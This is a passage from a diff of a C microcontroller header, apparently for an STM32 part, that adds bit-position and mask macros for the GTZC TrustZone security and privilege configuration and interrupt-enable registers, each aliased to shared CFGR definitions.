GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZSC1_SECCFGR2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZSC1_SECCFGR2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZSC1_SECCFGR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZSC1_SECCFGR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZSC1_SECCFGR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZSC1_SECCFGR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZSC1_SECCFGR2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZSC1_SECCFGR2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZSC1_SECCFGR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZSC1_SECCFGR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZSC1_SECCFGR2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZSC1_SECCFGR2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZSC1_SECCFGR2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZSC1_SECCFGR2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZSC1_SECCFGR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZSC1_SECCFGR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZSC1_SECCFGR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZSC1_SECCFGR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZSC1_SECCFGR2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZSC1_SECCFGR2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZSC1_SECCFGR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZSC1_SECCFGR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZSC_SECCFGR3 register ***************/ +#define GTZC_TZSC1_SECCFGR3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZSC1_SECCFGR3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZSC1_SECCFGR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZSC1_SECCFGR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZSC1_SECCFGR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZSC1_SECCFGR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZSC1_SECCFGR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZSC1_SECCFGR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZSC1_SECCFGR3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZSC1_SECCFGR3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZSC1_SECCFGR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZSC1_SECCFGR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZSC1_SECCFGR3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZSC1_SECCFGR3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZSC1_SECCFGR3_AES_Pos GTZC_CFGR3_AES_Pos +#define GTZC_TZSC1_SECCFGR3_AES_Msk GTZC_CFGR3_AES_Msk +#define GTZC_TZSC1_SECCFGR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZSC1_SECCFGR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZSC1_SECCFGR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZSC1_SECCFGR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZSC1_SECCFGR3_SAES_Pos GTZC_CFGR3_SAES_Pos +#define GTZC_TZSC1_SECCFGR3_SAES_Msk GTZC_CFGR3_SAES_Msk +#define GTZC_TZSC1_SECCFGR3_PKA_Pos GTZC_CFGR3_PKA_Pos +#define GTZC_TZSC1_SECCFGR3_PKA_Msk GTZC_CFGR3_PKA_Msk +#define GTZC_TZSC1_SECCFGR3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZSC1_SECCFGR3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZSC1_SECCFGR3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZSC1_SECCFGR3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZSC1_SECCFGR3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZSC1_SECCFGR3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZSC1_SECCFGR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZSC1_SECCFGR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR1 register ***************/ +#define GTZC_TZSC1_PRIVCFGR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZSC1_PRIVCFGR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZSC1_PRIVCFGR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZSC1_PRIVCFGR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZSC1_PRIVCFGR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZSC1_PRIVCFGR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZSC1_PRIVCFGR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZSC1_PRIVCFGR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZSC1_PRIVCFGR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZSC1_PRIVCFGR1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZSC1_PRIVCFGR1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZSC1_PRIVCFGR1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZSC1_PRIVCFGR1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZSC1_PRIVCFGR1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZSC1_PRIVCFGR1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZSC1_PRIVCFGR1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZSC1_PRIVCFGR1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZSC1_PRIVCFGR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZSC1_PRIVCFGR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZSC1_PRIVCFGR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZSC1_PRIVCFGR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZSC1_PRIVCFGR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZSC1_PRIVCFGR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZSC1_PRIVCFGR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZSC1_PRIVCFGR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZSC1_PRIVCFGR1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZSC1_PRIVCFGR1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZSC1_PRIVCFGR1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZSC1_PRIVCFGR1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZSC1_PRIVCFGR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZSC1_PRIVCFGR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZSC1_PRIVCFGR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZSC1_PRIVCFGR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZSC1_PRIVCFGR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZSC1_PRIVCFGR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR2 register ***************/ +#define GTZC_TZSC1_PRIVCFGR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZSC1_PRIVCFGR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZSC1_PRIVCFGR2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZSC1_PRIVCFGR2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZSC1_PRIVCFGR2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZSC1_PRIVCFGR2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZSC1_PRIVCFGR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZSC1_PRIVCFGR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZSC1_PRIVCFGR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZSC1_PRIVCFGR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZSC1_PRIVCFGR2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZSC1_PRIVCFGR2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZSC1_PRIVCFGR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZSC1_PRIVCFGR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZSC1_PRIVCFGR2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZSC1_PRIVCFGR2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZSC1_PRIVCFGR2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZSC1_PRIVCFGR2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZSC1_PRIVCFGR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZSC1_PRIVCFGR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZSC1_PRIVCFGR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZSC1_PRIVCFGR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZSC1_PRIVCFGR2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZSC1_PRIVCFGR2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZSC1_PRIVCFGR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZSC1_PRIVCFGR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR3 register ***************/ +#define GTZC_TZSC1_PRIVCFGR3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZSC1_PRIVCFGR3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZSC1_PRIVCFGR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZSC1_PRIVCFGR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZSC1_PRIVCFGR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZSC1_PRIVCFGR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZSC1_PRIVCFGR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZSC1_PRIVCFGR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZSC1_PRIVCFGR3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZSC1_PRIVCFGR3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZSC1_PRIVCFGR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZSC1_PRIVCFGR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZSC1_PRIVCFGR3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZSC1_PRIVCFGR3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZSC1_PRIVCFGR3_AES_Pos GTZC_CFGR3_AES_Pos +#define GTZC_TZSC1_PRIVCFGR3_AES_Msk GTZC_CFGR3_AES_Msk +#define GTZC_TZSC1_PRIVCFGR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZSC1_PRIVCFGR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZSC1_PRIVCFGR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZSC1_PRIVCFGR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZSC1_PRIVCFGR3_SAES_Pos GTZC_CFGR3_SAES_Pos +#define GTZC_TZSC1_PRIVCFGR3_SAES_Msk GTZC_CFGR3_SAES_Msk +#define GTZC_TZSC1_PRIVCFGR3_PKA_Pos GTZC_CFGR3_PKA_Pos +#define GTZC_TZSC1_PRIVCFGR3_PKA_Msk GTZC_CFGR3_PKA_Msk +#define GTZC_TZSC1_PRIVCFGR3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZSC1_PRIVCFGR3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZSC1_PRIVCFGR3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZSC1_PRIVCFGR3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZSC1_PRIVCFGR3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZSC1_PRIVCFGR3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZSC1_PRIVCFGR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZSC1_PRIVCFGR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + +/******************* Bits definition for GTZC_TZIC_IER1 register ***************/ +#define GTZC_TZIC1_IER1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZIC1_IER1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZIC1_IER1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZIC1_IER1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZIC1_IER1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZIC1_IER1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZIC1_IER1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZIC1_IER1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZIC1_IER1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZIC1_IER1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZIC1_IER1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZIC1_IER1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZIC1_IER1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZIC1_IER1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZIC1_IER1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZIC1_IER1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZIC1_IER1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZIC1_IER1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZIC1_IER1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZIC1_IER1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZIC1_IER1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZIC1_IER1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZIC1_IER1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZIC1_IER1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZIC1_IER1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZIC1_IER1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZIC1_IER1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZIC1_IER1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZIC1_IER1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZIC1_IER1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZIC1_IER1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZIC1_IER1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZIC1_IER1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZIC1_IER1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZIC1_IER1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZIC1_IER1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZIC1_IER1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZIC1_IER1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZIC1_IER1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZIC1_IER1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZIC1_IER1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZIC1_IER1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZIC1_IER1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZIC1_IER1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZIC1_IER1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZIC1_IER1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZIC1_IER1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZIC1_IER1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZIC_IER2 register ***************/ +#define GTZC_TZIC1_IER2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZIC1_IER2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZIC1_IER2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZIC1_IER2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZIC1_IER2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZIC1_IER2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZIC1_IER2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZIC1_IER2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZIC1_IER2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZIC1_IER2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZIC1_IER2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZIC1_IER2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZIC1_IER2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZIC1_IER2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZIC1_IER2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZIC1_IER2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZIC1_IER2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZIC1_IER2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZIC1_IER2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZIC1_IER2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZIC1_IER2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZIC1_IER2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZIC1_IER2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZIC1_IER2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZIC1_IER2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZIC1_IER2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZIC_IER3 register ***************/ +#define GTZC_TZIC1_IER3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZIC1_IER3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZIC1_IER3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZIC1_IER3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZIC1_IER3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZIC1_IER3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZIC1_IER3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZIC1_IER3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZIC1_IER3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZIC1_IER3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZIC1_IER3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZIC1_IER3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZIC1_IER3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZIC1_IER3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZIC1_IER3_AES_Pos GTZC_CFGR3_AES_Pos +#define GTZC_TZIC1_IER3_AES_Msk GTZC_CFGR3_AES_Msk +#define GTZC_TZIC1_IER3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZIC1_IER3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZIC1_IER3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZIC1_IER3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZIC1_IER3_SAES_Pos GTZC_CFGR3_SAES_Pos +#define GTZC_TZIC1_IER3_SAES_Msk GTZC_CFGR3_SAES_Msk +#define GTZC_TZIC1_IER3_PKA_Pos GTZC_CFGR3_PKA_Pos +#define GTZC_TZIC1_IER3_PKA_Msk GTZC_CFGR3_PKA_Msk +#define GTZC_TZIC1_IER3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZIC1_IER3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZIC1_IER3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZIC1_IER3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZIC1_IER3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZIC1_IER3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZIC1_IER3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZIC1_IER3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + +/******************* Bits definition for GTZC_TZIC_IER4 register ***************/ +#define GTZC_TZIC1_IER4_GPDMA1_Pos GTZC_CFGR4_GPDMA1_Pos +#define GTZC_TZIC1_IER4_GPDMA1_Msk GTZC_CFGR4_GPDMA1_Msk +#define GTZC_TZIC1_IER4_GPDMA2_Pos GTZC_CFGR4_GPDMA2_Pos +#define GTZC_TZIC1_IER4_GPDMA2_Msk GTZC_CFGR4_GPDMA2_Msk +#define GTZC_TZIC1_IER4_FLASH_Pos GTZC_CFGR4_FLASH_Pos +#define GTZC_TZIC1_IER4_FLASH_Msk GTZC_CFGR4_FLASH_Msk +#define GTZC_TZIC1_IER4_FLASH_REG_Pos GTZC_CFGR4_FLASH_REG_Pos +#define GTZC_TZIC1_IER4_FLASH_REG_Msk GTZC_CFGR4_FLASH_REG_Msk +#define GTZC_TZIC1_IER4_OTFDEC1_Pos GTZC_CFGR4_OTFDEC1_Pos +#define GTZC_TZIC1_IER4_OTFDEC1_Msk GTZC_CFGR4_OTFDEC1_Msk +#define GTZC_TZIC1_IER4_SBS_Pos GTZC_CFGR4_SBS_Pos +#define GTZC_TZIC1_IER4_SBS_Msk GTZC_CFGR4_SBS_Msk +#define GTZC_TZIC1_IER4_RTC_Pos GTZC_CFGR4_RTC_Pos +#define GTZC_TZIC1_IER4_RTC_Msk GTZC_CFGR4_RTC_Msk +#define GTZC_TZIC1_IER4_TAMP_Pos GTZC_CFGR4_TAMP_Pos +#define GTZC_TZIC1_IER4_TAMP_Msk GTZC_CFGR4_TAMP_Msk +#define GTZC_TZIC1_IER4_PWR_Pos GTZC_CFGR4_PWR_Pos +#define GTZC_TZIC1_IER4_PWR_Msk GTZC_CFGR4_PWR_Msk +#define GTZC_TZIC1_IER4_RCC_Pos GTZC_CFGR4_RCC_Pos +#define GTZC_TZIC1_IER4_RCC_Msk GTZC_CFGR4_RCC_Msk +#define GTZC_TZIC1_IER4_EXTI_Pos GTZC_CFGR4_EXTI_Pos +#define GTZC_TZIC1_IER4_EXTI_Msk GTZC_CFGR4_EXTI_Msk +#define GTZC_TZIC1_IER4_TZSC_Pos GTZC_CFGR4_TZSC_Pos +#define GTZC_TZIC1_IER4_TZSC_Msk GTZC_CFGR4_TZSC_Msk +#define GTZC_TZIC1_IER4_TZIC_Pos GTZC_CFGR4_TZIC_Pos +#define GTZC_TZIC1_IER4_TZIC_Msk GTZC_CFGR4_TZIC_Msk +#define GTZC_TZIC1_IER4_OCTOSPI1_MEM_Pos GTZC_CFGR4_OCTOSPI1_MEM_Pos +#define GTZC_TZIC1_IER4_OCTOSPI1_MEM_Msk GTZC_CFGR4_OCTOSPI1_MEM_Msk +#define GTZC_TZIC1_IER4_FMC_MEM_Pos GTZC_CFGR4_FMC_MEM_Pos +#define GTZC_TZIC1_IER4_FMC_MEM_Msk GTZC_CFGR4_FMC_MEM_Msk +#define GTZC_TZIC1_IER4_BKPSRAM_Pos GTZC_CFGR4_BKPSRAM_Pos +#define GTZC_TZIC1_IER4_BKPSRAM_Msk GTZC_CFGR4_BKPSRAM_Msk +#define GTZC_TZIC1_IER4_SRAM1_Pos GTZC_CFGR4_SRAM1_Pos +#define GTZC_TZIC1_IER4_SRAM1_Msk GTZC_CFGR4_SRAM1_Msk +#define 